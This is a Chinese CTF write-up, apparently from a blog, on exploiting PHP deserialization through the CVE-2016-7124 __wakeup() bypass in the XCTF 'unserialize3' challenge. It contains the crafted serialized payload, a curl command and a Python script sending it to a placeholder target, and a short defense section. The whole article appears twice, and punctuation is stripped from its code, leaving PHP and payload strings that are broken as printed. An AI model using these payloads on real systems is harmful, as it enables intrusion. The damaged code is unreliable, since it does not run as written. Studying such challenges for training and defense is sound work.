1. 攻防世界unserialize3题目解析这道Web入门题主要考察PHP反序列化漏洞的利用特别是__wakeup()魔术方法的绕过技巧。题目环境模拟了一个存在漏洞的PHP应用我们需要通过构造特殊的序列化字符串来触发漏洞获取flag。1.1 题目核心考点这道题的核心考点集中在以下三个方面PHP对象序列化与反序列化机制__wakeup()魔术方法的安全隐患CVE-2016-7124漏洞的实际利用在PHP中当对象被反序列化时会自动调用__wakeup()方法这经常被开发者用来初始化对象属性或执行一些安全检查。但正是这个机制如果使用不当反而会成为攻击入口。1.2 环境搭建与题目分析本地测试时可以使用以下Docker配置快速搭建环境FROM php:7.0-apache COPY src/ /var/www/html/ EXPOSE 80题目提供的源码通常包含一个类似这样的PHP类class xctf{ public $flag 111; public function __wakeup(){ exit(bad requests); } }关键点在于当unserialize()函数处理用户输入时如果能够绕过__wakeup()的执行就能直接访问$flag属性。2. PHP反序列化漏洞深度解析2.1 序列化与反序列化基础PHP序列化字符串的基本结构如下O:类名长度:类名:属性数量:{属性类型属性名长度:属性名;值类型值长度:值;}例如上面xctf类的序列化结果为O:4:xctf:1:{s:4:flag;s:3:111;}2.2 __wakeup()魔术方法特性__wakeup()在以下情况会被调用使用unserialize()函数时对象从会话中恢复时通过其他方式重建序列化对象时其典型的安全隐患包括可能被绕过导致认证失效可能包含敏感操作但依赖不可信输入可能成为拒绝服务的入口点2.3 CVE-2016-7124漏洞详解这个漏洞的核心在于当序列化字符串中表示对象属性数量的值大于实际属性数量时__wakeup()方法将不会被调用。漏洞影响版本PHP 5.6.25之前PHP 7.0.10之前利用方式是将对象属性数量改为比实际大的数字例如O:4:xctf:2:{s:4:flag;s:3:111;}注意即使实际只有一个属性这里写2也能成功触发漏洞。3. 解题步骤详解3.1 信息收集阶段首先通过浏览器开发者工具检查页面查看页面源码是否有隐藏提示检查Network请求记录查看Cookie和LocalStorage通常这类题目会有一个接收序列化数据的接口比如http://target/vul.php?data序列化数据3.2 构造Payload根据前面分析我们需要构造一个特殊的序列化字符串正常序列化O:4:xctf:1:{s:4:flag;s:3:111;}修改属性数量实现绕过O:4:xctf:2:{s:4:flag;s:3:111;}URL编码后提交O%3A4%3A%22xctf%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bs%3A3%3A%22111%22%3B%7D3.3 实际攻击流程使用Burp Suite或curl进行测试curl http://target/vul.php?dataO%3A4%3A%22xctf%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bs%3A3%3A%22111%22%3B%7D预期响应应该包含真实的flag值而不是bad requests错误。4. 防御方案与安全实践4.1 安全的反序列化实践避免直接反序列化用户输入使用JSON等更安全的格式替代实施严格的输入验证4.2 魔术方法的安全使用不在__wakeup()中放置关键安全逻辑对反序列化的对象进行完整性检查使用__sleep()控制序列化字段4.3 现代PHP版本的最佳实践PHP 7.4推荐做法class SafeClass { public function __unserialize(array $data): void { // 安全的反序列化逻辑 } public function __serialize(): array { // 控制序列化字段 } }5. 同类题目扩展训练5.1 其他常见反序列化漏洞利用__destruct()方法通过__toString()实现XSSPhar反序列化漏洞5.2 推荐练习平台Hack The Box的某些Web挑战CTFshow的Web入门系列BUUCTF的Web题库5.3 自动化测试工具PHPGGCPHP反序列化payload生成器Burp Suite的PHP序列化插件自定义Python测试脚本import requests import urllib.parse base_url http://target/vul.php payload O:4:xctf:2:{s:4:flag;s:3:111;} response requests.get(f{base_url}?data{urllib.parse.quote(payload)}) print(response.text)6. 常见问题排查6.1 为什么Payload不生效可能原因PHP版本已修复漏洞属性数量修改不足类名或属性名不正确解决方案确认目标PHP版本尝试更大的属性数量值检查源码获取准确类信息6.2 如何判断漏洞存在检测特征应用处理序列化数据响应中包含序列化相关错误存在可疑的__wakeup()方法6.3 高级利用技巧属性注入通过修改序列化字符串注入额外属性类型混淆利用PHP弱类型特性链式利用组合多个魔术方法重要提示在实际渗透测试中必须获得授权后才能进行此类测试。未经授权的测试可能违反法律法规。 
长河君 · 2026/10/28 8:18:58 · 阅读 1.2k PHP反序列化漏洞解析与CVE-2016-7124实战
1. 攻防世界unserialize3题目解析这道Web入门题主要考察PHP反序列化漏洞的利用特别是__wakeup()魔术方法的绕过技巧。题目环境模拟了一个存在漏洞的PHP应用我们需要通过构造特殊的序列化字符串来触发漏洞获取flag。1.1 题目核心考点这道题的核心考点集中在以下三个方面PHP对象序列化与反序列化机制__wakeup()魔术方法的安全隐患CVE-2016-7124漏洞的实际利用在PHP中当对象被反序列化时会自动调用__wakeup()方法这经常被开发者用来初始化对象属性或执行一些安全检查。但正是这个机制如果使用不当反而会成为攻击入口。1.2 环境搭建与题目分析本地测试时可以使用以下Docker配置快速搭建环境FROM php:7.0-apache COPY src/ /var/www/html/ EXPOSE 80题目提供的源码通常包含一个类似这样的PHP类class xctf{ public $flag 111; public function __wakeup(){ exit(bad requests); } }关键点在于当unserialize()函数处理用户输入时如果能够绕过__wakeup()的执行就能直接访问$flag属性。2. PHP反序列化漏洞深度解析2.1 序列化与反序列化基础PHP序列化字符串的基本结构如下O:类名长度:类名:属性数量:{属性类型属性名长度:属性名;值类型值长度:值;}例如上面xctf类的序列化结果为O:4:xctf:1:{s:4:flag;s:3:111;}2.2 __wakeup()魔术方法特性__wakeup()在以下情况会被调用使用unserialize()函数时对象从会话中恢复时通过其他方式重建序列化对象时其典型的安全隐患包括可能被绕过导致认证失效可能包含敏感操作但依赖不可信输入可能成为拒绝服务的入口点2.3 CVE-2016-7124漏洞详解这个漏洞的核心在于当序列化字符串中表示对象属性数量的值大于实际属性数量时__wakeup()方法将不会被调用。漏洞影响版本PHP 5.6.25之前PHP 7.0.10之前利用方式是将对象属性数量改为比实际大的数字例如O:4:xctf:2:{s:4:flag;s:3:111;}注意即使实际只有一个属性这里写2也能成功触发漏洞。3. 解题步骤详解3.1 信息收集阶段首先通过浏览器开发者工具检查页面查看页面源码是否有隐藏提示检查Network请求记录查看Cookie和LocalStorage通常这类题目会有一个接收序列化数据的接口比如http://target/vul.php?data序列化数据3.2 构造Payload根据前面分析我们需要构造一个特殊的序列化字符串正常序列化O:4:xctf:1:{s:4:flag;s:3:111;}修改属性数量实现绕过O:4:xctf:2:{s:4:flag;s:3:111;}URL编码后提交O%3A4%3A%22xctf%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bs%3A3%3A%22111%22%3B%7D3.3 实际攻击流程使用Burp Suite或curl进行测试curl http://target/vul.php?dataO%3A4%3A%22xctf%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bs%3A3%3A%22111%22%3B%7D预期响应应该包含真实的flag值而不是bad requests错误。4. 防御方案与安全实践4.1 安全的反序列化实践避免直接反序列化用户输入使用JSON等更安全的格式替代实施严格的输入验证4.2 魔术方法的安全使用不在__wakeup()中放置关键安全逻辑对反序列化的对象进行完整性检查使用__sleep()控制序列化字段4.3 现代PHP版本的最佳实践PHP 7.4推荐做法class SafeClass { public function __unserialize(array $data): void { // 安全的反序列化逻辑 } public function __serialize(): array { // 控制序列化字段 } }5. 同类题目扩展训练5.1 其他常见反序列化漏洞利用__destruct()方法通过__toString()实现XSSPhar反序列化漏洞5.2 推荐练习平台Hack The Box的某些Web挑战CTFshow的Web入门系列BUUCTF的Web题库5.3 自动化测试工具PHPGGCPHP反序列化payload生成器Burp Suite的PHP序列化插件自定义Python测试脚本import requests import urllib.parse base_url http://target/vul.php payload O:4:xctf:2:{s:4:flag;s:3:111;} response requests.get(f{base_url}?data{urllib.parse.quote(payload)}) print(response.text)6. 常见问题排查6.1 为什么Payload不生效可能原因PHP版本已修复漏洞属性数量修改不足类名或属性名不正确解决方案确认目标PHP版本尝试更大的属性数量值检查源码获取准确类信息6.2 如何判断漏洞存在检测特征应用处理序列化数据响应中包含序列化相关错误存在可疑的__wakeup()方法6.3 高级利用技巧属性注入通过修改序列化字符串注入额外属性类型混淆利用PHP弱类型特性链式利用组合多个魔术方法重要提示在实际渗透测试中必须获得授权后才能进行此类测试。未经授权的测试可能违反法律法规。